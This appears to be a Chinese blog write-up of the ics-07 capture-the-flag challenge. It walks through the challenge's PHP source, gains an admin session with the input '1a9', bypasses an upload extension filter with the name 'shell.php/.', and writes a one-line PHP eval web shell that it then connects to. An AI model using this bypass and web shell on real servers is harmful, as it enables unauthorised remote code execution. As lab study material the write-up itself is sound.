攻防世界 ics-07

  • ics-07 hint:工控云管理系统项目管理页面解析漏洞
  • 进入管理页面是个登录窗 左下角有个查看源码
 <?php
    session_start();
    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }
    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }
    ?>
  • 无论如何 该页面都会让你包含flag.php文件
  • 还有就是 page对应的是项目名称
 <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>
  • 对filename用了一个正则过滤
  • chdir函数改变当前目录 成功则返回True
  • 接着就是像当前目录写入文件 emmmm 我想到了文件上传一句话木马
<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>
  • floatval()返回变量的浮点值
  • substr()截取id的最后以为 必须是9
  • mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
  • 整理了一下思路
  • page不重要 主要是上传的id满足要求获取SESSION[‘admin’]=True的权限
  • 之后绕过正则表达式进行文件上传一句话木马获取flag
  • 接下来就是解题了
  • 首先通过第三个函数去获取admin的权限
<?php
var_dump(floatval("1a9"));
?>
//float(1) 1!=="1" 值为true 完美符合第一轮的条件

在这里插入图片描述

  • 获取了admin权限后 要做的就是 前面想到的文件上传了
 <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>
  • 先分析一下正则表达式
  • /.+这个不用解释了吧
  • 接着.匹配. 后面匹配ph
  • (p[3457])?|t|tml)是个子表达式 匹配p3,p4,p5,p7 pt ptml
  • ?匹配前面的字符1次或0次
  • |指明两个直接选一下
  • $ 匹配字符串的结尾 /i表示不区分大小写
  • 所以该正则表达式匹配的是 xxxx.php xxx.php3 xxx.php4 xxx.php5 xxx.php5 xxx.phpt xxx.phptml
  • 绕过方式../filename.php/.或者filename.php/.
  • 绕过原理:文件名中不允许带有/ 因为/表示目录的分割符 在php中,如果保存的文件中含有/ 会自动省略/后面的内容,/后面的.是为了达到匹配最后一个.的效果
  • hackbar上传
  • con=<?php eval($_POST['shell']);phpinfo;?>&file=shelll.php/.
  • 蚁剑连接
    在这里插入图片描述
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值